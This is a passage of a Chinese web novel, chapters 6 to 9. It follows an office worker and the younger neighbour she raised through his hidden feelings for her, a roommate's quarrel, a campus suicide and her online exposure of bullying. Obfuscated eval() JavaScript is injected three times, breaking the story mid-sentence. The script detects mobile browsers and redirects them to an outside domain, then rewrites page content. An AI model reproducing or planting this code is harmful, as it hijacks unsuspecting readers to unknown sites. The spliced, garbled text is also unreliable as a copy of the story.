储嘉骐挑高了眉毛,“你小子,钱都送到嘴边了,还嫌烫嘴是吧?我跟你说,地方我都看好了,江大科技园,离你学校就两步路,孵化器政策好,环境也不错,窗外就是小花园,比窝在你那小破宿舍强一百倍。” 他越说越来劲,手指在空中比划着,“注册、招人、场地装修,这些事儿我来跑,你专心搞你的技术就行。” 晏铮没接他的话茬,只是淡淡道:“现在这样自由。接了单就做,做完拿钱,开公司很麻烦。” “赚钱哪有不麻烦的?你就是懒筋犯了。以前接单打游戏那股劲儿呢?熬夜肝代码的劲头呢?”他顿了顿,眼神变得有点玩味,“还是说,你有别的心思绊着脚?” 晏铮没吭声,走到储嘉骐对面,也拖了个空木箱过来坐下。 储嘉骐哼笑一声,心里跟明镜似的,“你那点心思全挂相上了。是不是怕公司一开张,忙得脚不沾地,没工夫在你心心念念的姐姐跟前晃悠了?” “瞎说什么。” “我瞎说?”储嘉骐乐了,手指点了点他,“我那启星科技,跟你姐的富邦,在同一个写字楼,就上下层。上回我都看到了,你大晚上的蹲公司楼下,总不能在看我吧?” 晏铮不吭声,显然不想再继续这个话题。 储嘉骐决定换个说法。他收敛了调侃的笑容,“说到你这位姐姐,我这两天在楼里听到一些风声。好像是富邦那边和天盛的合作案差点搞砸了,你姐被人阴了一把,黑锅全扣她头上了。我们楼里电梯间碰上几回,她看着是有点憔悴。” 酒窖里安静下来,晏铮整个人坐直了,刚才还松散的状态消失得无影无踪。 他盯着储嘉骐,没问“真的假的”,只是那紧绷的下颌线和骤然变得锐利的目光,泄露了内心的风暴。 储嘉骐知道这事戳到他肺管子了,继续道:“我也是听楼下咖啡厅小妹闲聊说的,具体内情不清楚。但空穴不来风,你姐那性子,估计不会跟你说这些糟心事。” 好一会儿,晏铮都没说话。他目光好像落在对面墙壁上,又好像什么都没看。 他慢慢站起来,问储嘉骐:“你刚才说的那个地方,江大科技园那边,租金具体多少?” 储嘉骐被他这突然的转折搞得有点懵,“啊?算下来一平米一天大概五块出头吧,看具体楼层和面积。” 晏铮点点头,“公司的事,弄吧。尽快。” 储嘉骐一时没反应过来:“弄……弄什么?” “开公司”,晏铮重复了一遍,“你选的那个地方,可以。注册那些麻烦事,你做主。需要我签字的提前说。明早我有课,先走了。” 储嘉骐看着晏铮离开的背影,直到那扇橡木门重新被关上,他才回过神来——事情出奇顺利地就搞定了。 他无奈地笑笑,自言自语道:“看来那隋心喜,还真是这小孩的命门啊。为了给她撑腰,连自个儿最烦的麻烦都肯扛了。” 7. 第 7 章 江市星光天地购物中心,周末下午人总是特别多。 隋心喜把车停进地库,对着后视镜理了理头发,眼角眉梢都藏不住笑意。 天盛科技的合作案终于尘埃落定,压在心头的石头彻底搬开了。 她今天特意穿了条新买的姜黄色连衣裙,就想找人分享这份喜悦。第一个想到的就是晏铮。 约定的地方在三楼中庭的旋转木马旁边,隋心喜坐扶梯上来,一眼就看到了他。 他个子高,斜靠在木马外的护栏上,低头划拉着手机。 周围人来人往,热闹得很,他杵在那儿,有点格格不入的冷清。 “晏铮!”隋心喜加快脚步走过去,声音带着笑。 晏铮抬起头,目光在她脸上停留了一两秒,又很快掠过她亮眼的裙子,最后落回她的眼睛,喊了一声“姐”。 他那副平静的样子,让隋心喜心里刚冒头的热乎劲儿往下落了落。 她以为他至少会露出个笑脸,或者调侃她一句“今天穿这么漂亮”,但都没有。 她走近他,习惯性地伸出手想去拍拍他的胳膊,像以前无数次那样。 可是,她的手指尖几乎要碰到他的T恤了,他却侧了侧身,手也抬起来,动作自然地指向旁边一家饮品店,“喝点什么?我去买。” 隋心喜的手停在半空,有点尴尬地缩了回来,背在身后。 她脸上的笑容淡了点,“哦,行啊,我要杯冰的鲜橙汁。” “好,你在这儿等我”,晏铮说完,转身就走,步子迈得很大,像是急着逃离什么。 隋心喜看着他的背影汇入人群,那股说不清道不明的别扭劲儿又上来了。 以前两人无话不谈、亲密无间的感觉,不知什么时候已经溜走了,只剩下眼前这种客气里带着疏离的“姐弟情”。 她有点泄气,还有点委屈。 晏铮很快端着两杯饮料回来。他把橙汁递给隋心喜,自己拿着一杯冰美式。 隋心喜吸了一大口橙汁,酸甜冰爽的口感,稍微压下了点胸口的闷气。 她调整了下情绪,努力让自己的声音听起来轻松点,“想买点啥?还是就随便走走?” “都行”,晏铮还是那两个字。 他走在她旁边,保持着大概半步的距离。隋心喜走快,他就快半步;隋心喜慢下来看旁边的橱窗,他也跟着停下,但总是隔开那么点空隙。 隋心喜试着和他并排走,他要么落后一点,要么稍微错开点身位。商场里人挤人的时候,他会有意无意地用身体隔开旁边涌过来的人潮,但始终避免直接碰到她。 这种感觉太明显了。隋心喜心里的委屈像水里的泡泡,咕嘟咕嘟往上冒。 她忽然在一家饰品店的门口停下脚步。晏铮也停下,有点不解地看着她。 “晏铮”,隋心喜转过身,正对着他,“你是不是挺烦我的?” 晏铮愣了一下:“没有啊。你怎么这么想?” “没有吗?”隋心喜往前一步,踏进晏铮刻意维持的安全距离里。 她抬起头,眼睛直直地看着他,努力想从他平静无波的脸上找出点蛛丝马迹。 “那你干嘛老躲着我?碰也不让碰,离得八丈远,跟你说话也爱答不理的,小时候你可是摔一跤都要哭着跑来找我呼呼。” 她靠得太近了,晏铮甚至能闻到她身上淡淡的沐浴液味道,能看到她眼底藏不住的失落。 一股强烈的冲动攥紧了他的心脏,让他想立刻伸手把她拉进怀里。 他想告诉她,根本不是她想的那么回事,想让她别再露出这种让他心疼的表情。 但最终,理智摁住了这些疯狂的想法。他不能,至少现在还不能。 他喉结滚动了一下,背脊绷得笔直,慢慢道:“没有。” 正是这慢了半拍的回答,让隋心喜眼里的光彻底黯淡下去。 她以为他的停顿是默认,是找不出借口。 她扯了扯嘴角,露出自嘲又苦涩的笑,往后退了一步,拉开距离。 她低下头,用吸管使劲戳着杯子里的冰块,“行了,我知道了。是我想多了,长大了嘛,正常。” 气氛沉闷起来,两人沉默地往前走,漫无目的。 逛到一个卖创意文具的店门口,隋心喜的手机震动了一下。 她拿出来看了一眼,是工作群里无关紧要的消息。 而旁边的晏铮,他正看着橱窗里炫目的灯光展示,侧脸的线条在变幻的光影下有些冷硬。 “对了”,隋心喜带着点玩笑的意味开口,试图打破这令人窒息的沉默,“你最近好像特别忙,给你发信息老是半天才回,或者干脆不回。” 她顿了顿,心口莫名地有点发紧,但还是笑着把话说完,“是不是有喜欢的人了,忙着谈恋爱去了?” 这句话像是扔进平静水面的一块石头。晏铮转过头看她。 他盯着她的眼睛,努力分辨她这句话背后的真实意图,是在试探,还是真的不在意。 那个姓谭的混蛋被收拾了,公司的问题她也自己解决了,她似乎不需要他。 那他呢?在她心里,是不是真的只是个需要照顾的弟弟?一个可以随时被推给别的女孩子的存在? 他忽然想看看,如果他承认,她会是什么反应。 他迎着隋心喜强装轻松的目光,嘴角牵动了一下,点了点头,“对。” 隋心喜强撑的笑意像潮水一样退去,只剩下猝不及防的空白。 酸溜溜的情绪从心底深处涌上来,迅速弥漫开,堵得她胸口发闷。 难过?失落?还是别的什么?她自己也说不清,只觉得握着橙汁杯子的手有点僵。 他不是自己养大的弟弟吗?他有喜欢的人,作为姐姐,她应该高兴啊,可为什么心里这么不是滋味? 她掩饰性地低下头,狠狠吸了一大口橙汁。 冰凉酸甜的液体滑过喉咙,这次却没能浇灭心里陌生的酸涩感。 她再抬起头时,脸上已经重新挂上了笑容,只是那笑容怎么看都有点虚浮。 “啊……真有啦?”她换上一种过来人的关切口吻,“那挺好的啊!大学生嘛,谈个恋爱多正常。” “对方是什么样的女孩子?你们学校的?学什么专业的?人好不好?”她像是连珠炮一样问着,试图用问题填补两人之间骤然扩大的沟壑,也掩饰自己声音里的颤抖。 晏铮看着她眼睛里努力掩藏却依旧泄露的暗淡,心底的烦躁感非但没有消失,反而像野草一样疯长。 原来,她真的可以把他推出去,还推得那么理所当然。 他移开视线,目光落在远处滚动的大屏幕上,随口编道:“还行吧,一个系的,人挺安静。” “也是学人工智能的啊?那和你有共同话题”,隋心喜兀自说着,感觉每一个字都像裹着糖衣的黄连,咽下去又苦又涩,“你可得好好对人家女孩子,恋爱要认真谈,不能三心二意,也别欺负人家。知道吗?” 听着她像个真正的姐姐一样叮嘱着,晏铮没好气地应了一声,“知道了。” —————————— 江市大学图书馆的玻璃大门滑开,晏铮背着个双肩包出来。 九月底的傍晚,天还没黑透,路灯已经亮了,在地面拉出长长短短的影子。 “晏铮!你站住!” 一道喊声从后面追上来,晏铮脚步没停,甚至没回头,只是嘴角往下撇了撇。 他认得这声音,烦得很。 李露雨气喘吁吁地从台阶上冲下来,几步就挡在了晏铮前面。 他瞪着晏铮,语气很冲,“我叫你你没听见啊?” 晏铮这才停下脚,撩起眼皮看了他一眼,眼神没什么温度,“有事?” 李露雨被这冷淡点着了,他往前逼近半步,指着晏铮问:“你他妈装什么傻?我成绩怎么回事?你给我说清楚!” 晏铮上身微微后仰,避开那根手指,“你成绩问我干什么?老师打的分数。” “放屁!”李露雨气得唾沫星子都喷出来了,“那代码,那程序,是你放在桌上的。你说没问题,让我参考,结果狗屁不通,运行都跑不起来,害我直接挂科!你是不是故意的,啊?” 李露雨的声音太大,想不注意都难。图书馆有些进进出出的人放慢了脚步,朝他俩这边瞄。 面对几乎贴到脸上的愤怒,晏铮只是扯了下嘴角,“我让你参考,我让你抄了吗?我让你一个字不改交上去了吗?” 他的语气里透着一股事不关己的凉薄,“自己蠢,怪谁?” 这话捅在了李露雨最心虚的地方。他脸上一阵红一阵白,“你,你他妈阴我!晏铮,你就是个阴险小人!” “说完了?”晏铮完全没被这股怒气影响,他看了眼手机上的时间,“说完我走了。” 他侧身想绕过李露雨。李露雨哪能让他走,下意识地就去抓他的胳膊,“你给我站住,这事儿没完!你得跟我去老师那儿说清楚!” 晏铮像是背后长了眼睛,肩膀一晃就躲开了。 他转过身,眼神彻底冷了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李露雨这会儿真是百口莫辩。 他先是莫名其妙被个陌生女人推开,接着又看着晏铮成了这副低眉顺眼的可怜小绵羊样。奥斯卡都欠他一座小金人! 他只觉得一口恶气堵在胸口,憋得他差点原地爆炸。 他指着晏铮,手指气得直哆嗦:“你装,你真能装!你他妈就是个……” “你还想骂人?”隋心喜立刻打断李露雨。她往前一步,把晏铮护得更严实了。 她拿出手机按下录屏键,“你再这样,我就拍下来发你辅导员。” 李露雨感觉自己像个跳梁小丑,这女人显然已经被晏铮那副假惺惺的样子骗了。 他喘了两口粗气,咬牙切齿地对着晏铮的方向,从牙缝里挤出几个字:“行,你行!这事儿没完,你给我等着!” 说完,他再也待不下去,恨恨地嗤了声,转身怒气冲冲地走了。 看着李露雨走远,隋心喜松了一口气。她抓住晏铮的手臂,把他从头到脚、仔仔细细地检查了一遍,生怕他身上有看不见的伤。 “你别怕,跟姐说实话。这种人就是欺软怕硬,姐以后常来接你,看他还敢不敢。” 晏铮任由她拉着自己检查,微微低着头,配合着她的高度。 他甚至还反过来,拍了拍隋心喜的手背,“我舍友说话冲了点。不过我没事,你别担心。” 这动作,这语气,落在隋心喜眼里,却是晏铮太懂事了,懂事得让人心疼,被人欺负了还想着安慰她。 “是不是傻”,隋心喜鼻子有点发酸,“有事一定要跟姐说,听见没?你越不吭声,别人就越来劲!” 她说着,下意识地抬起手,想像小时候那样揉揉他的头发。 手抬到一半,她顿住了。 晏铮好像又长高了些,她踮着脚都有点费力了。 她最终改为拍了拍他的肩膀,“对了,你吃饭没?国庆车票我抢到了,后天下午的,咱一起回茅都。我妈还说给你留了腊肉,就是你上次说好吃的那个铺子里的。” 晏铮应了一声,带着十足的乖巧,“谢谢姐,回去我要去看叔叔阿姨。” 隋心喜看着晏铮低垂的眉眼,心里最后一点担忧化成了酸楚。 她这个弟弟,在外面肯定受了不少委屈吧? 她暗暗决定,这个假期回去,得多做好吃的给他补补。 8. 第 8 章 国庆假期一下子过完了。隋心喜与晏铮从江市高铁站出来,天就下起了雨。 隋心喜取了车,将晏铮送回大学,车子停的位置,离宿舍楼还有一点距离。 晏铮解开安全带,“麻烦姐了,这么大的雨还送我。” “跟我客气啥”,隋心喜从后座拽过雨伞,“车上只有一把伞了,我送你到门口。” 推开车门,外面的风雨声瞬间灌满了耳朵。 小小的伞面弹开,在狂风里可怜地晃动了一下,差点被掀翻。 隋心喜用力握住伞柄,雨点密集地砸在伞布上,淌下来像个小瀑布。 “快过来!”她缩着脖子招呼晏铮。 晏铮高大的身影挤进伞下,空间变得极其逼仄。 冰冷的雨水立刻洒进隋心喜的脖子,她打了个寒颤。 晏铮伸手扶住伞柄,宽大的手掌覆在隋心喜的手背上。 她感觉他的热度有点突兀,想把手抽出来,又怕伞不稳。 晏铮将伞面往隋心喜这边倾斜了一些,尽量遮住她,两个人的身体几乎紧贴着。 每一次伞被风吹歪,晏铮就得用力稳住伞柄,身体也跟着晃动。 隋心喜被他带得踉跄,为了站稳,不得不伸手抓住他腰侧的衣服布料。 那件T恤被她攥出了褶子,指尖能感觉到布料下年轻身体紧实的线条。 晏铮感觉到腰侧的拉力,身体微微一僵,低头看了一眼埋在他肩膀旁的隋心喜。 他喉结滚动了一下,默不作声地用另一只手臂,虚虚地环到隋心喜背后,像是给她围起一个屏障,替她挡去从侧面吹来的风和雨丝。 终于,宿舍楼的玻璃门就在眼前了,里面透出的灯光让人看到了希望。 两个男生勾肩搭背地准备出来,一看到外面泼天的雨势,立刻又缩了回去,站在门口看雨。 他们正是晏铮的舍友张超和纪然,刚在宿舍打完游戏,肚子饿了,想顶着雨冲去学校超市买泡面。 “卧槽!这雨疯了吧?还去个屁!”张超是个大嗓门,对着外面骂骂咧咧。 “等会儿吧,看这架势一时半会儿停不了”,纪然推了推眼镜,目光随意扫向风雨中的路灯。 然后,他的目光定住了。他碰了碰张超的胳膊,语气诧异,“那是晏铮吗?” 张超也认出来了,眼睛瞪得溜圆,“是他,他旁边那是谁?抱这么紧,女朋友啊?” 晏铮在学校里是有名的独狼。专业能力拔尖,长得又帅,但从没见他跟哪个女生走得特别近,系花追他他都爱答不理的。眼前这场景实在太有冲击力了。 张超八卦心顿起,趁着晏铮两人进入宿舍楼的空隙,立刻上前搭讪,“铮哥回来啦!” 晏铮甩了甩雨伞上的雨滴,收好了递给隋心喜,不咸不淡地“嗯”了一声。 纪然的眼睛在隋心喜身上溜了一圈,脸上立刻堆起了然于心的笑:“我说呢,铮哥假期消失,原来是去陪嫂子了啊!嫂子好嫂子好!” 张超也跟着嘿嘿笑,眼神在俩人之间来回扫:“可以啊铮哥,动作够快的,你是我们宿舍最早上岸的了,小两口假期过得滋润吧?” 隋心喜的脸一下就热了,赶紧摆手:“不是不是,你们误会了,我是他邻居姐姐,从小看着他长大的。” 晏铮站在那儿,没像隋心喜那么急着否认,只是拨了一下额前的湿发。 张超和纪然互相看了一眼,笑容有点僵,但很快又换上那种“没事我们懂”的表情。 “哦哦,原来是姐姐啊!姐姐好姐姐好!铮哥好福气!” 隋心喜转头看晏铮,发现他低着头。那表情在她看来,就是习惯了被人误会,懒得争辩,甚至有点逆来顺受的意思。 她立刻想起上次那个叫李露雨的舍友冲他嚷的画面。 哎,现在这两个舍友也是这样随便开他玩笑,他平时肯定没少被挤兑! 心疼淹过了刚才的尴尬。她忍不住伸手,拍了拍晏铮的胳膊,语气放得更软了:“没事的,你上去吧,好好休息。” 晏铮这才抬起头看她,眼神湿漉漉的,像被雨泡过的小狗。他小声道:“嗯,谢谢姐。你开车慢点,路上小心。” “知道啦,快进去吧”,隋心喜催促着,看着他转身和张超他们一起往里走。 纪然还回头冲她笑着挥了挥手,隋心喜也勉强扯出个笑容回应,心里却是沉甸甸的。 —————————— 放假回来,要处理的活儿不少,有个项目方案下午要交。 隋心喜对着屏幕上的表格和数据,噼里啪啦地敲着键盘,一杯咖啡很快见了底。 快十一点的时候,办公室的气氛稍微松快了点。 林姐端着水杯去茶水间接水,回来的时候路过隋心喜旁边,跟她旁边的同事王雪聊着天,“哎,你看见没?群里刚有人转发,说江市大学早上好像出事了。” 王雪有点惊讶,问:“啊,什么事?” 林姐压低了点声音:“说是有人跳楼了,就在男生宿舍。学校那边好像把消息捂得挺紧的。” 王雪摇着头叹气,“啧,现在这些年轻孩子,心理承受能力也太差了。” 听到对话的隋心喜却坐不住了,手里的鼠标掉在桌面上。 她脑子里全是李露雨、张超和纪然那三人的脸,还有晏铮沉默的样子。 她抓起桌上的手机,找到晏铮的名字就拨了出去。 可是,听筒里传来单调的嘟嘟声,七八声后没人接,就自动挂断了。 隋心喜心跳加速,不死心地又重拨过去。 依旧没人接听。冷汗顺着她的额角滑下来。 她脑子里各种混乱的念头在打架:他手机是不是摔坏了?是不是在洗澡没听见?会不会是……会不会是…… 她不敢再想下去了,将钥匙和手机都塞进包里,拔腿就跑。 “哎,隋隋,你去哪儿?马上要开会了!”王雪在后面喊她。 “家有急事,帮我请个假!”隋心喜头也不回地吼了一声,人已经冲出了办公室的门。 —————————— 隋心喜远远就看到江大男生的宿舍楼下,围了好几圈人,水泄不通。 警戒线的黄带子在人群外围格外刺眼,警察和学校的保安正在努力维持秩序,喊着“后退”“不要围观”。 她什么都顾不上了,带着哭腔拼命拨开挡在前面的人,“让一让,对不起让一让!” 人们下意识地给她让开一点缝隙,眼神里带着同情或好奇。 她终于挤到了警戒线最边上,视线越过前面几个人的肩膀望过去—— 宿舍楼水泥台阶前不远的地方,盖着一块深蓝色的布,底下勾勒出的轮廓让人不敢细想,旁边还有一小滩暗红色的液体。 离那布块几步远的距离,躺着一本书。封面朝上,是《人工智能理论与实践》。 隋心喜呼吸一滞,她记得很清楚,国庆回家,晏铮家里的书架上,就有这本书。 当时她还笑话他:“要啃这么厚的大部头?你们人工智能专业好吓人啊。” 晏铮只是笑笑,告诉她:“这才哪到哪,以后还有更厚的呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490817|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隋心喜的脑子“轰”的一声,仿佛有什么东西炸开了。 她嘴唇哆嗦着,想喊出声,却只发出微弱的气音。 她膝盖一弯,整个人瘫软在地。 就在她感觉整个世界都要崩塌的时候,一个熟悉的声音在她头顶上方响起,“姐,你怎么在这里?” 隋心喜一个激灵,以为自己被巨大的悲伤冲击得产生了幻听。 她一点点抬起头,眼泪顺着脸颊滑落。 不是幻觉。 晏铮就站在她面前,居高临下地看着她。他的脸上带着运动后的潮红,额角还挂着汗珠,只是眼神充满了不解。 “你怎么坐地上了?”晏铮的声音把她彻底拉回了现实,他蹲下身,把她从水泥地上扶了起来。 隋心喜被他扶着站直,身体还在筛糠似的抖。她盯着晏铮的脸,眼睛一眨不眨,仿佛要确认这不是个梦。 “晏铮?”她的眼泪流得更凶了,但这次不再是绝望的眼泪。 晏铮看到她这副失魂落魄的样子,连忙应道:“是我,是我。你怎么哭成这样?谁欺负你了?” 隋心喜再也顾不得形象,也顾不得周围还有那么多人,她用力抓住晏铮的手臂,仿佛怕一松手他就会消失。 “你吓死我了,晏铮!你吓死我了!”她语无伦次地哭道:“我打你电话打不通,听人说你们学校有人跳楼,我以为……” 她抽噎着,指着警戒线里的书本,“我以为……” 晏铮看着警戒线里的惨状和那本眼熟的书,瞬间懂了是怎么回事。 “对不起,都怪我”,他看着她哭红的眼睛,心里某个地方软得一塌糊涂。 他犹豫了一下,抬起手,用指腹蹭过她脸颊上滚烫的泪痕,“刚才手机没电放在宿舍充电,我去操场跑步了,才回来就看到你在这儿……没事了,没事了,别哭了啊。” 他本想再帮她把另一边的眼泪也擦掉,周围的人群却因为警察的一些疏导动作,发生了拥挤和骚动。 一个挤在后面想看更清楚些的男生,不知道被谁推了一把,撞向晏铮的后背。 晏铮毫无防备,被身后的力量撞得整个人向前一扑! 他为了稳住自己,也怕隋心喜被他撞倒,本能地张开双臂,一下子抱住了怀里的人。 他的下巴蹭到了她的额角,温热的呼吸拂过她的发丝。他胸膛的起伏,心脏有力的跳动,都透过紧密的接触传递了过来。那股属于年轻男孩的气息,霸道地侵占了她的所有感官。 时间仿佛凝固了一秒。隋心喜的大脑一片空白,忘记了哭泣,忘记了悲伤,甚至忘记了呼吸。 只有她自己的心脏,在胸腔里猛烈地跳跃着,那声音大得她怀疑周围的人都听得见。 天啊! 她怎么能……怎么能对自己的弟弟,产生这种感觉? 强烈的羞耻感和慌乱淹没了她。这太不对了!太不应该了! 几乎是触电一般,隋心喜用尽力气,一把推开了晏铮。 晏铮踉跄了半步才站稳,他看着隋心喜的脸红得像煮熟的虾子,连忙道歉:“对不起,我不是故意的,刚才有人撞我,你没事吧?” 隋心喜用力吸了好几口气,试图把那股怪异的心悸压下去。 她飞快地瞥了晏铮一眼,又立刻看向旁边混乱的人群,“没事,是后面的人挤的,这里太乱了,我们离开吧?” 晏铮说了声“好”,本想拉住她走出人群,但手抬到一半,又想起刚才那尴尬的一幕,讪讪地收了回去。 他小心地护在她身侧,指引着她往人少的小路走去。 9. 第 9 章 隋心喜坐在出租屋的椅子上,手机屏幕是一张晏铮发过来的合照。 他的旁边站了个瘦瘦的男生,看着有点拘谨,就是章平。 她的手指划过照片,脑子里全是今天晏铮跟她说的话。 章平家是山里农村的,特别穷。爸妈在他很小的时候就离婚了,各自又有了家,都不太管他。他是跟着年迈的爷爷奶奶长大的,学费生活费全靠他自己打工和奖学金撑着。学校里那些勤工俭学的岗位,他几乎都做过一遍。 晏铮说他很能吃苦,每天除了打工,就是泡图书馆自习室。熄灯了,还打着手电筒在床上看书学习。他是真的想靠读书改变命运的那种人。 可是,就因为他成绩好,抢了某些人的风头;或者是他不会来事,那些人看他不顺眼了。总之,他被当成了靶子。 学校里有个小团体,好几次把章平堵在厕所里,将他的课本撕烂了好几次。他那本《人工智能理论与实践》,正是因为烂了,所以才借了晏铮的去看。 隋心喜听着这些描述,心一路往下沉。她想起自己读书时,也见过班上有人被孤立,但顶多是没人说话,撕书围堵这种事,实在太恶劣了。 她问晏铮:“你们学校一般会怎么处理这个事?” 晏铮叹了口气,语气里有着压抑的愤怒和无力,“学校会去查,但这种事,可能最后又是不了了之。那些人太会装了。” 隋心喜从那时开始,就憋了一口气在胸口。哪怕现在回到了出租屋,这种感觉也挥之不去。 她不断想起今天在男生宿舍楼下看到的惨烈场面,还有那群高高在上肆意践踏别人的面孔,以及章平努力想抓住成绩这根救命稻草的样子。 她揉了揉太阳穴,问起自己:是要继续等着学校那些不知道啥时候能出的轻飘飘调查结果?还是等着那些人渣继续逍遥?抑或等着下一个章平出现? 她直觉不能就这么算了。得做点什么,为了章平,也为了那些可能像章平一样的孩子。 可是,她能做什么呢? 她不是警察,不是学校领导。她就是个普通打工人,在江市没什么人脉背景。 报警要证据,晏铮说的那些也只是听说。找学校反映?她又不是学生家长。 她烦躁地抓了抓头发,目光回到眼前的电脑。 现在是网络时代,有啥事网上吼一嗓子,总比干等着强。 她立刻坐近了些,试图从大数据里寻找蛛丝马迹,最好就能找到章平的个人社交账号,上面可能存在他被霸凌的痕迹。 时间一分一秒过去。她盯着屏幕,手指不停地滑动滚轮,点开一个又一个可能相关的页面,又失望地关掉。 终于,她在某个大型问答社区里,注意到了一个不起眼的匿名提问帖子。 标题是:“被孤立撕书怎么办?想退学了……”发布时间是几个月前。 隋心喜的心跳快了一拍,连忙点进去。 帖子内容不长,语气充满了无助: “真心不知道该怎么办了。我没有朋友,宿舍里的人都不理我,上课分组也没人和我一起。就因为我期中考试考了第一?还是因为我穷?今天我的书又被他们抢走撕了,说穷人不配学人工智能。他们说我装努力,说我假清高。我真的好累,想退学了……可想想奶奶……唉。” 发帖人没有留名字,头像也是默认的灰色。但帖子里提到人工智能,撕书的时间也对得上。 隋心喜有种直觉,这就是章平发的帖。 她压抑着心酸,继续翻看下面寥寥无几的回复。 “摸摸楼主,加油!” “撕书太过分了,举报啊!” 没有实质性的帮助,贴主在下面也没有再回复过。 隋心喜再度尝试,在微博的搜索框里,尝试了各种组合:“章平”“江大章平”“学习狂人章”“AI学习者”“跳楼学生心声”……加上各种可能的符号和缩写。 就在她翻了十几页,看得眼睛都发酸的时候,一个昵称叫“努力爬坡的小章”的用户,跳进了她的视线。 主页里没有头像,微博很少,大部分都是转发一些技术文章或者天气预报,原创的只有三条。 半年前的一条:“拿到上学期奖学金了!虽然很少,够奶奶一个月的药钱了。继续加油!” 配图是一个证书封面,名字那里打了马赛克,但有“江市大学”的字样。 三个月前的一条:“又被堵了,书差点毁了,不明白为什么。只想安静读书毕业工作,给奶奶好点的生活,为什么这么难?” 没有任何配图。 两个月前的一条:“今天阳光很好。去图书馆的路上,看到一只小猫在晒太阳,感觉心里暖和了一点。希望明天也能有阳光。” 配图是一只晒太阳的流浪猫背影。 之后再也没有更新过。 隋心喜咬着唇,呼吸都屏住了。 这就是章平,那个压抑着痛苦又拼命想抓住一点阳光的大学生。 她感觉一股热气冲上头顶,手心微微出汗。 她要把这些发出去,让所有人都看看这个努力的孩子经历了什么,看看那些所谓的“天之骄子”干了什么好事。 她打开微博最常用的公共广场版块超话社区,选择了#校园霸凌#的话题,把“努力爬坡的小章”那三条关键微博的内容,复制粘贴到正文里。 尤其是三个月前那条诉苦撕书的微博,她特意粘贴了两遍。 接着,她把论坛的匿名帖子也截图放了上去。 发送成功的那一刻,她慢慢地呼了口气。 —————————— 第二天是周末,隋心喜睁开眼睛后迷迷糊糊地拿起手机,锁屏界面上堆满了通知,各种APP的小红点密密麻麻挤在一起。 她点开微博,热搜第一的词条让她瞬间清醒——“章平霸凌事件”几个大字黑压压的,后头跟着个“爆”字。 隋心喜心跳加速,立刻戳了进去。 帖子就是她发的那篇,转发评论数多得数不清。她往下划拉着看,热评第一条写着“校园霸凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490818|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须严惩!”,点赞快十万了。 再下面是各种留言,都是“心疼这个学生”“学校在干嘛?”“报警!”之类的。 她心里头有点发虚。本来她就想曝光一下,让学校管管,哪想到事情能闹大冲上热搜头名了。 她又往下翻,瞧见一个新链接,标题是“独家视频:江市大学霸凌现场”。 视频不长,就半分钟,画面晃得厉害,像手机偷拍的。 几个男生围着一个人推搡,嘴里骂骂咧咧的,听不清具体啥话,但动作凶得很,被推的那人缩着脖子不敢动。 视频底下配着文字:“匿名投稿,证据确凿,和热搜事件同一受害者。” 隋心喜盯着视频看了好几遍,手指头捏紧了。 她发的帖子里头只有章平自己写的文字,可这视频是实打实的铁证啊。 谁拍的?啥时候拍的? 她心里头七上八下的,又有点佩服。这人不怕惹事儿吗?大概和她一样,路见不平拔刀相助? 她退出视频,回到热搜主页。 现在词条底下热闹得跟菜市场一样,新闻媒体都跟进报道了。 她点开一个本地新闻APP,头版头条就是“江市大学霸凌事件引爆网络”,里头写了警方已经介入调查,学校还没正式回应。 评论区炸了锅,有人骂学校包庇坏学生,有人呼吁开除施暴者。 还有人贴出疑似施暴者的社交账号,底下全是网友的谩骂。 一条高赞评论说:“光靠网友不够,得官方出手!” 她默默地点头,是啊,光闹没用,得有人管。 肚子咕噜叫了一声,她才想起来还没吃早饭。 她站起身往厨房走,在加热食物的时候,手机还攥手里不放。 微博又更新了,几条新热搜冒出来。 第一条就是警方的蓝V通告,中心意思是已成立专案组调查,下面将调查取证。底下网友一片叫好。 到了下午,江市大学的官方账号也终于发了声明。 他们先说了对事件“深表痛心”,然后列了几条关键点:一是配合警方调查,绝不姑息加害者;二是启动校内纪律审查;三是加强学生心理健康管理。最后一句加粗了:“维护校园净土,零容忍霸凌行为。” 隋心喜读完了,底下的评论又是刷刷刷地涨,有人说“早该这样”,有人质疑“做样子吧”。 她没心思再看,脑子里就转悠着那个匿名发视频的人。 这人的主页没发过其他内容,就像凭空出现的,扔下炸弹就消失。 她想象着TA可能也是个普通上班族,或者学生,偷偷摸摸上传视频的时候,八成也紧张得要死吧。 她点进私信界面,手指悬在屏幕上半天,最后只打了三个字:“谢谢你。” 她没指望对方会有回复,只是在发出去的一刻,胸口涌起奇怪的暖意。 她想起自己昨晚咬牙敲键盘的样子,突然笑了。 原来,这世上“爱管闲事”的傻子不止她一个。